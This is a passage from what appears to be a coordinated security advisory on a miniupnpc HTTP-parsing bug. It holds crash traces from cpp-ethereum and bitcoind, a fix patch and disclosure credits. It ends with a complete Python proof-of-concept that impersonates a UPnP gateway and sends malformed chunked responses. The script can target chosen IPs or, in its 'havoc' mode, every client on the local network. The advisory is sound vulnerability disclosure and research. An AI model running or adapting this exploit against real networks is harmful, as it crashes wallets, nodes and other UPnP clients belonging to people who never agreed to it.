#### B) cpp-ethereum v1.3.0

```python
[tin@localhost ~]$ eth --version
eth version 1.3.0
eth network protocol version: 63
Client database version: 12041
Build: Linux/g++/Interpreter/RelWithDebInfo

[tin@localhost miniupnpc]$ gdb --args eth -v 9
...
(gdb) r
Starting program: /usr/bin/eth -v 9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
cpp-ethereum, a C++ Ethereum client
...  05:57:56 PM.351|eth  Reading /home/...
⧠â
    ¹  05:57:56 PM.358|eth  Id: ##013a7f1fâ¦
[New Thread 0x7fffe6191700 (LWP 9306)]
...  05:57:56 PM.371|eth  Opened blockchain DB. Latest: #5203fef2⦠(rebuild not needed)
[New Thread 0x7fffe5990700 (LWP 9307)]
...  05:57:56 PM.374|eth  Opened state DB.
[New Thread 0x7fffe4e2a700 (LWP 9308)]
⧫ â  05:57:56 PM.375|eth  startedWorking()
cpp-ethereum 1.3.0
  By cpp-ethereum contributors, (c) 2013-2016.
  See the README for contributors and credits.
Transaction Signer: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000)
Mining Beneficiary: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000)
Foundation: XE55PXQKKKXXXXXXXXT1XCYW6R5ELFAT6EM (00000000-0000-0000-0000-000000000000 - de0b2956)
[New Thread 0x7fffd7fff700 (LWP 9309)]
[New Thread 0x7fffd77fe700 (LWP 9310)]
  â
   ¹  05:58:00 PM.757|p2p  UPnP device: http://192.168.2.104:65000/xxxx.xml [st: urn:schemas-upnp-org:device:InternetGatewayDevice:1 ]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffd7fff700 (LWP 9309)]
0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6
(gdb)
#0  0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6
#1  0x00007ffff4a8bfce in getHTTPResponse () from /lib64/libminiupnpc.so.16
#2  0x00007ffff4a8c43f in miniwget3.constprop.0 () from /lib64/libminiupnpc.so.16
#3  0x00007ffff4a8c873 in miniwget () from /lib64/libminiupnpc.so.16
#4  0x00007ffff62cb97f in dev::p2p::UPnP::UPnP() () from /lib64/libp2p.so
#5  0x00007ffff633d2d0 in dev::p2p::Network::traverseNAT(std::set<boost::asio::ip::address, std::less<boost::asio::ip::address>, std::allocator<boost::asio::ip::address> > const&, unsigned short, boost::asio::ip::address&) () from /lib64/libp2p.so
#6  0x00007ffff62eed05 in dev::p2p::Host::determinePublic() () from /lib64/libp2p.so
#7  0x00007ffff62ef3b3 in dev::p2p::Host::startedWorking() () from /lib64/libp2p.so
#8  0x00007ffff610e979 in dev::Worker::startWorking()::{lambda()#1}::operator()() const () from /lib64/libdevcore.so
#9  0x00007ffff4831220 in ?? () from /lib64/libstdc++.so.6
#10 0x00007ffff72cddc5 in start_thread () from /lib64/libpthread.so.0
#11 0x00007ffff3f97ced in clone () from /lib64/libc.so.6
```


#### C) bitcoind 0.13.2 (windows)

```c
#> bitcoin-0.13.2\bin\bitcoind.exe -upnp -printtoconsole

Bitcoin version v0.13.2
...
mapBlockIndex.size() = 1
nBestHeight = 0
setKeyPool.size() = 100
mapWallet.size() = 0
mapAddressBook.size() = 1
init message: Loading addresses...
torcontrol thread start
Loaded 0 addresses from peers.dat  1ms
init message: Loading banlist...
init message: Starting network threads...
upnp thread start
init message: Done loading
opencon thread start
addcon thread start
dnsseed thread start
msghand thread start
net thread start
Loading addresses from DNS seeds (could take a while)
132 addresses found from DNS seeds
dnsseed thread exit
receive version message: /Satoshi:0.13.1/: version xxxx, blocks=xxxxx, us=xxxxxx:57964, peer=1
Pre-allocating up to position 0x100000 in rev00000.dat
...
<crash:upnp thread crashing with access violation>


 //#! missing symbols - stacktrace not really useful.

(5fdc.5d34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for bitcoind.exe -
bitcoind!secp256k1_ecdsa_recover+0x1ea44f:
00000000`01615f1f f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
0:016> !analyze -v -f
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP:
bitcoind!secp256k1_ecdsa_recover+1ea44f
00000000`01615f1f f3a4            rep movs byte ptr [rdi],byte ptr [rsi]

EXCEPTION_RECORD:  ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0000000001615f1f (bitcoind!secp256k1_ecdsa_recover+0x00000000001ea44f)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: 0000000008db0000
Attempt to read from address 0000000008db0000

CONTEXT:  0000000000000000 -- (.cxr 0x0;r)
rax=0000000008385900 rbx=00000000083848a0 rcx=0000000094964738
rdx=0000000000000000 rsi=0000000008db0000 rdi=0000000008388472
rip=0000000001615f1f rsp=0000000008dad3e0 rbp=00000000949672aa
 r8=0000000008387c80  r9=0000000094967295 r10=0000000000000000
r11=0000000008dacd00 r12=00000000949672b8 r13=00000000949672aa
r14=00000000000005b4 r15=0000000000000556
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
bitcoind!secp256k1_ecdsa_recover+0x1ea44f:
00000000`01615f1f f3a4            rep movs byte ptr [rdi],byte ptr [rsi]

FAULTING_THREAD:  0000000000005d34
PROCESS_NAME:  bitcoind.exe
ERROR_CODE: (NTSTATUS) 0xc0000005
EXCEPTION_CODE: (NTSTATUS) 0xc0000005
EXCEPTION_PARAMETER1:  0000000000000000
EXCEPTION_PARAMETER2:  0000000008db0000
READ_ADDRESS:  0000000008db0000
FOLLOWUP_IP:
bitcoind!secp256k1_ecdsa_recover+1ea44f
00000000`01615f1f f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
APPLICATION_VERIFIER_FLAGS:  0
APP:  bitcoind.exe
ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) amd64fre
BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE
PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_PROBABLYEXPLOITABLE
DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_PROBABLYEXPLOITABLE
LAST_CONTROL_TRANSFER:  from 00000000016160f0 to 0000000001615f1f
STACK_TEXT:
00000000`08dad3e0 00000000`016160f0 : 00000000`00000754 00000000`00000754 00000000`00000000 00000000`0823af72 : bitcoind!secp256k1_ecdsa_recover+0x1ea44f
00000000`08dadcd0 00000000`01616467 : 00000000`00000010 00007ffc`6a207185 00000000`00000000 00000000`00000010 : bitcoind!secp256k1_ecdsa_recover+0x1ea620
00000000`08dae580 00000000`01612e97 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x1ea997
00000000`08dae650 00000000`0124a8fa : 00000000`08239840 00007ffc`a255cfb6 00000000`15040011 00000000`00000001 : bitcoind!secp256k1_ecdsa_recover+0x1e73c7
00000000`08dae740 00000000`0165252a : 00000000`00000000 00000000`08230000 00000000`00000002 00000000`08daf980 : bitcoind+0x7a8fa
00000000`08daf830 00000000`014567c5 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x226a5a
00000000`08daf940 00007ffc`a05cb2ba : 00000000`081abb90 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x2acf5
00000000`08dafb50 00007ffc`a05cb38c : 00007ffc`a0620670 00000000`08237230 00000000`00000000 00000000`00000000 : msvcrt!beginthreadex+0x12a
00000000`08dafb80 00007ffc`a0d28364 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : msvcrt!endthreadex+0xac
00000000`08dafbb0 00007ffc`a25870d1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
00000000`08dafbe0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21

STACK_COMMAND:  .cxr 0x0 ; kb
SYMBOL_STACK_INDEX:  0
SYMBOL_NAME:  bitcoind!secp256k1_ecdsa_recover+1ea44f
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: bitcoind
IMAGE_NAME:  bitcoind.exe
FAILURE_BUCKET_ID:  STRING_DEREFERENCE_PROBABLYEXPLOITABLE_c0000005_bitcoind.exe!secp256k1_ecdsa_recover
BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_bitcoind!secp256k1_ecdsa_recover+1ea44f
ANALYSIS_SOURCE:  UM
FAILURE_ID_HASH_STRING:  um:string_dereference_probablyexploitable_c0000005_bitcoind.exe!secp256k1_ecdsa_recover
```

#### D) bitcoind 0.14.1 (linux)

```python
#> src\bitcoind -upnp -printtoconsole

pwndbg> bt
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:36
#1  0x00007ffff6abe91e in getHTTPResponse () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#2  0x00007ffff6abed22 in ?? () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#3  0x00007ffff6abf12d in miniwget_getaddr () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#4  0x00007ffff6ac0f9e in UPNP_GetValidIGD () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#5  0x000055555560ee0b in ThreadMapPort () at net.cpp:1446
#6  0x0000555555622e44 in TraceThread<void (*)()> (name=0x555555a81767 "upnp", func=0x55555560ed3a <ThreadMapPort()>) at util.h:218
#7  0x0000555555689c4e in boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> >::operator()<void (*)(char const*, void (*)()), boost::_bi::list0> (this=0x5555561544c0, f=@0x5555561544b8: 0x555555622dc2 <TraceThread<void (*)()>(char const*, void (*)())>, a=...) at /usr/include/boost/bind/bind.hpp:313
#8  0x000055555568996a in boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > >::operator() (this=0x5555561544b8) at /usr/include/boost/bind/bind_template.hpp:20
#9  0x00005555556896eb in boost::detail::thread_data<boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > > >::run (this=0x555556154300) at /usr/include/boost/thread/detail/thread.hpp:117
#10 0x00007ffff753aaea in ?? () from /usr/lib/x86_64-linux-gnu/libboost_thread.so.1.55.0
#11 0x00007ffff5c3a064 in start_thread (arg=0x7fffd97fa700) at pthread_create.c:309
#12 0x00007ffff596f62d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111
```


Mitigation / Workaround / Discussion
-------------------------------------

* update to miniupnpc-2.0.20170509.tar.gz
* disable upnp
* or apply the following patch (also see provided patch1.diff, patch2.diff)


```diff
--- a/miniupnpc/miniwget.c
+++ b/miniupnpc/miniwget.c
@@ -280,11 +280,11 @@ getHTTPResponse(int s, int * size, int * status_code)
                                                        goto end_of_stream;
                                                }
                                        }
-                                       bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i);
+                                       bytestocopy = ((unsigned int)chunksize < (n - i))?chunksize:(unsigned int)(n - i);
                                        if((content_buf_used + bytestocopy) > content_buf_len)
                                        {
                                                char * tmp;
-                                               if(content_length >= (int)(content_buf_used + bytestocopy)) {
+                                               if((unsigned int)content_length >= (content_buf_used + bytestocopy)) {
                                                        content_buf_len = content_length;
                                                } else {
                                                        content_buf_len = content_buf_used + bytestocopy;
@@ -309,14 +309,14 @@ getHTTPResponse(int s, int * size, int * status_code)
                        {
                                /* not chunked */
                                if(content_length > 0
-                                  && (int)(content_buf_used + n) > content_length) {
+                                  && (content_buf_used + n) > (unsigned int)content_length) {
                                        /* skipping additional bytes */
                                        n = content_length - content_buf_used;
                                }
                                if(content_buf_used + n > content_buf_len)
                                {
                                        char * tmp;
-                                       if(content_length >= (int)(content_buf_used + n)) {
+                                       if((unsigned int)content_length >= (content_buf_used + n)) {
                                                content_buf_len = content_length;
                                        } else {
                                                content_buf_len = content_buf_used + n;
@@ -336,7 +336,7 @@ getHTTPResponse(int s, int * size, int * status_code)
                        }
                }
                /* use the Content-Length header value if available */
-               if(content_length > 0 && (int)content_buf_used >= content_length)
+               if(content_length > 0 && content_buf_used >= (unsigned int)content_length)
                {
 #ifdef DEBUG
                        printf("End of HTTP content\n");
```


Notes
-----

* Vendor acknowledgement / Miniupnp Changelog [5]
* Thanks to the miniupnp project for providing a fixed version within ~1 week!
* This research/disclosure was coordinated in cooperation with the ethereum foundation at ethereum.org. Thanks, it was a pleasure working with you!


References
----------

    [1] http://miniupnp.free.fr/
    [2] http://miniupnp.free.fr/files/
    [3] https://github.com/miniupnp/miniupnp/tree/master
    [4] https://github.com/miniupnp/miniupnp/blob/master/miniupnpc/miniwget.c#L236
    [5] http://miniupnp.free.fr/files/changelog.php?file=miniupnpc-2.0.20170509.tar.gz
    [6] https://github.com/miniupnp/miniupnp/commit/f0f1f4b22d6a98536377a1bb07e7c20e4703d229


Contact
-------

    https://github.com/tintinweb





#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
###############################################################################
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
###############################################################################
#
#  gdb --args ./upnpc-static  -u http://192.168.2.110:5200/xxxx.xml -d -s    <- segfault
#
import socket
import struct
import logging
import threading
__version__ = 0.3

logger = logging.getLogger(__name__)


SCENARIO_CRASH_LARGE_MEMCPY = 1  # crash in memcpy with access violation READ (large memcpy)
SCENARIO_CRASH_REALLOC_NULLPTR = 2  # miniupnpc <= v1.8 did not catch realloc errors
SCENARIO_CRASH_1_BYTE_BUFFER = 3  # crash in memcpy overwriting heap (more likely crashing in read)
SELECT_SCENARIO = SCENARIO_CRASH_LARGE_MEMCPY # default


class HttpLikeMessage(object):
    """
    Builds and parses HTTP like message structures.
    """
    linebrk = '\r\n'

    def __init__(self, raw):
        self.raw = raw
        self.header = self.request = self.method = self.path = self.protocol = self.body = None
        self.parse_fuzzy_http(raw)

    def startswith(self, other):
        return self.raw.startswith(other)

    def parse_fuzzy_http(self, data):
        data = data.replace('\r', '')
        try:
            head, self.body = data.split("\n\n", 1)
        except ValueError:
            # no body
            self.body = ''
            head = data

        try:
            head_items = head.strip().split('\n')
            self.request = head_items.pop(0)
            self.method, self.path, self.protocol = self.request.split(" ")

            self.header = {}
            for k, v in (line.strip().split(':', 1) for line in head_items if head.strip()):
                self.header[k.strip()] = v.strip()
        except Exception, e:
            logger.exception(e)
            e.msg = data
            raise e

    def serialize(self):
        lines = [self.request, ]
        lines += ['%s: %s' % (k, v) for k, v in self.header.iteritems()]
        return self.linebrk.join(lines) + self.linebrk * 2 + self.body

    def __str__(self):
        return self.serialize()

    def __repr__(self):
        return "<%s msg=%r header=%r body=%r>" % (self.__class__.__name__,
                                                  (self.method, self.path, self.protocol),
                                                  self.header,
                                                  self.body)


class UPnPListener(object):
    def __init__(self, group="239.255.255.250", port=1900):
        self.group, self.port = group, port
        self.callbacks = {}
        # multicast socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        logger.debug("[SSDP] bind: 0.0.0.0:%s" % port)
        sock.bind(('0.0.0.0', port))
        mreq = struct.pack("=4sl", socket.inet_aton(group), socket.INADDR_ANY)
        logger.debug("[SSDP] add membership: UDP/%s" % group)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
        self.listening = False
        self.sock = sock
        self.devices = {}

    # Start listening
    def listen(self):
        self.listening = True

        # Hint: this should be on a thread ;)
        logger.debug("[SSDP] listening...")
        while self.listening:
            try:
                # Grab a large wad of data
                data, peer = self.sock.recvfrom(10240)
                data = data.decode("utf-8")
                msg = HttpLikeMessage(data)
                # msg = HttpLikeMessage(self.sock.recv(10240).decode('utf-8'))
                logger.debug("[<-----] %r" % msg)

                # execute callback if available
                cb = self.callbacks.get(msg.method, None)
                cb and cb(self, msg, peer)
            except Exception, e:
                logger.exception(e)

    # Register the uuid to a name -- as an example ... I put a handler here ;)
    def register_device(self, name="", uuid=""):
        logger.debug("%s; %s" % (name, uuid))
        if name == "" or uuid == "":
            logger.error("[SSDP] Error registering device, check your name and uuid")
            return

        # Store uuid to name for quick search
        self.devices[uuid] = name

    def register_callback(self, name, f):
        logger.debug("[SSDP] add callback for %r : %r" % (name, f))
        self.callbacks[name] = f


class BadHttpServer(threading.Thread):
    def __init__(self, bind, filter=None):
        threading.Thread.__init__(self)
        self.bind = bind
        self.filter = filter

    def __repr__(self):
        return "<%s bind=%s>" % (self.__class__.__name__,
                                 repr(self.bind))

    def run(self, ):
        self.listen(filter=self.filter)

    def listen(self, filter=None):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        logger.info("[HTTP] bind %s:%d"%self.bind)
        sock.bind(self.bind)
        # Listen for incoming connections
        sock.listen(1)

        while True:
            # Wait for a connection
            logger.info("[HTTP] waiting for connection")
            connection, client_address = sock.accept()

            try:
                if filter and client_address[0] not in filter:
                    raise Exception("[HTTP] wait for different client: %s!=%s" % (client_address[0], filter))
                logger.info("[      ] connection from: %s" % repr(client_address))

                chunks = []
                # TODO refactor crappy code
                while True:
                    data = connection.recv(1024 * 8)
                    if not data:
                        break
                    chunks.append(data)
                    if data.endswith("\r\n\r\n"):
                        break
                logger.debug(data)
                self.handle_request(client_address, connection, HttpLikeMessage(''.join(chunks)))
            except Exception, e:
                logger.warning(repr(e))
            finally:
                # Clean up the connection
                connection.close()

    def send(self, client, connection, chunks):
        """

        :param client:
        :param chunks:
        :param connection:
        :return:
        """
        template = """HTTP/1.1 200 OK
Content-Type: text/html
"""
        ans = HttpLikeMessage(template)
        if len(chunks) == 1:
            length, data = chunks[0]
            ans.header["Content-Length"] = length or len(data)
            ans.body = data
        else:
            ans.header["Transfer-Encoding"] = "chunked"
            body = []
            for chunk in chunks:
                length, data = chunk
                body.append("%x%s%s%s" % (length or len(data), ans.linebrk, data, ans.linebrk))
            body.append("0")
            ans.body = ''.join(body)
            if SELECT_SCENARIO==SCENARIO_CRASH_LARGE_MEMCPY:
                ans.header["Content-Length"] = len(ans.body)
            elif SELECT_SCENARIO==SCENARIO_CRASH_1_BYTE_BUFFER:
                # memcpy 0x80000000+x bytes to a buffer of 1 byte size.
                ans.header["Content-Length"] = 1  # forces a realloc of 1 byte
            else:
                # realloc with 0x7fffffff, memcpy n=chunk_size:0x80000000+x - crashes if realloc fails
                ans.header["Content-Length"] = 0x7fffffff  # forces a realloc of x bytes

        connection.sendall(str(ans))
        logger.debug(str(ans))
        logger.warning("[----->] BOOM! payload delivered! - [to:%r] %r" % (client, ans))

    def handle_request(self, client, connection, msg):
        if False and "AddPortMapping" not in str(msg):
            chunks = [(None, "<>")]
        else:
            if SELECT_SCENARIO==SCENARIO_CRASH_LARGE_MEMCPY:
                chunks = [(None, "<xml>BOOM</xml>"), (0x80000000, "A" * 9000), (None, "bye")]
            elif SELECT_SCENARIO==SCENARIO_CRASH_1_BYTE_BUFFER:
                chunks = [(None, "<xml>BOOM</xml>"), (0x80000000 - 1 + 15, "A" * 9000), (None, "bye")]
            else:
                chunks = [(None, "<xml>BOOM</xml>"), (0x80000000-1+15, "A" * 9000), (None, "bye")]
        self.send(client, connection, chunks)


def main():
    #from optparse import OptionParser
    import argparse
    global SELECT_SCENARIO
    SELECT_SCENARIO = SCENARIO_CRASH_LARGE_MEMCPY  # crash with a large memcpy
    # SELECT_SCENARIO = SCENARIO_CRASH_REALLOC_NULLPTR  # crash with a memcpy to nullptr due to realloc error (miniupnpc v1.8)
    # SELECT_SCENARIO = SCENARIO_CRASH_1_BYTE_BUFFER

    logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s',
                        loglevel=logging.DEBUG)
    logger.setLevel(logging.DEBUG)

    usage = """poc.py [options]

           example: poc.py --listen <your_local_ip>:65000 [--havoc | --target <ip> [<ip>..]]

        """
    #parser = OptionParser(usage=usage)
    parser = argparse.ArgumentParser(usage=usage)
    parser.add_argument("-q", "--quiet",
                      action="store_false", dest="verbose", default=True,
                      help="be quiet [default: False]")
    parser.add_argument("-l", "--listen", dest="listen",
                      help="local httpserver listen ip:port. Note: 0.0.0.0:<port> is not allowed. This ip is being used "
                           "in the SSDP response Location header.")
    parser.add_argument("-u", "--usn",
                      dest="usn", default="uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice",
                      help="Unique Service Name. ")
    parser.add_argument("-t", "--target", dest="target",
                      default=[], nargs='*',
                      help="Specify a list of client-ips to attack. Use --havoc to attempt to crash all clients.")
    parser.add_argument("-z", "--havoc",
                      action="store_true", dest="havoc", default=False,
                      help="Attempt to attack all clients connecting to our http server. Use at your own risk.")

    options= parser.parse_args()
    if not options.verbose:
        logger.setLevel(logging.INFO)
    if not options.havoc and not options.target:
        parser.error("No target specified. Use --havoc to attack all devices or --target <ip> to attack specific ips.")

    if options.havoc:
        options.target = None
    if not options.listen :
        parser.error("missing mandatory option --listen <ip>:<port>")
    options.listen = options.listen.strip().split(":")
    options.listen = (options.listen[0], int(options.listen[1]))
    if "0.0.0.0" in options.listen[0]:
        parser.error("0.0.0.0 not allowed for --listen")

    logger.info("""


   _  _    _____ _____ _____ _____
  / |/ |  |  |  |  _  |   | |  _  |            ___ ___    _____ ___ ___ ___
 / // /   |  |  |   __| | | |   __|   _ _ _   |   | . |  |     | . |  _| -_|
|_/|_/    |_____|__|  |_|___|__|     |_|_|_|  |_|_|___|  |_|_|_|___|_| |___

                                                      //github.com/tintinweb


    [mode  ]      %s
    [listen]      %s (local http server listening ip)
    [usn   ]      %s
    """%("⚡  havoc (targeting any incoming client)" if options.havoc else "   filter (targeting %r)"%options.target,
         "%s:%d"%options.listen,
         options.usn))

    webserver = BadHttpServer(options.listen, options.target)
    logger.debug("spawning webserver: %r" % webserver)
    webserver.start()

    def handle_msearch(upnp, msg, peer):
        # logger.info("MSEARCH! - %r" % msg)
        # build answer
        # template = """NOTIFY * HTTP/1.1
        template = """HTTP/1.1 200 OK
USN:  <overridden>
NTS:  ssdp:alive
SERVER:  <overridden>
HOST:  239.255.255.250:1900
LOCATION:  <overridden>
CACHE-CONTROL:  max-age=60
NT:  upnp:rootdevice"""
        ans = HttpLikeMessage(template)
        ans.header["USN"] = options.usn + msg.header["ST"]
        ans.header["SERVER"] = "UPnP Killer/%s" % __version__
        ans.header["LOCATION"] = "http://%s:%d/xxxx.xml" % webserver.bind
        ans.header["ST"] = msg.header["ST"]
        ans.header["EXT"] = ""

        logger.debug("[----->] sending answer: %s" % repr(ans))
        # upnp.sock.sendto(str(ans), (upnp.group, upnp.port))
        upnp.sock.sendto(str(ans), peer)

    def handle_notify(upnp, msg, peer):
        # logger.info("NOTIFY! %r" % msg)
        pass

    upnp = UPnPListener()
    upnp.register_callback("M-SEARCH", handle_msearch)
    upnp.register_callback("NOTIFY", handle_notify)
    upnp.listen()
    logger.info("--end--")


if __name__ == "__main__":
    main()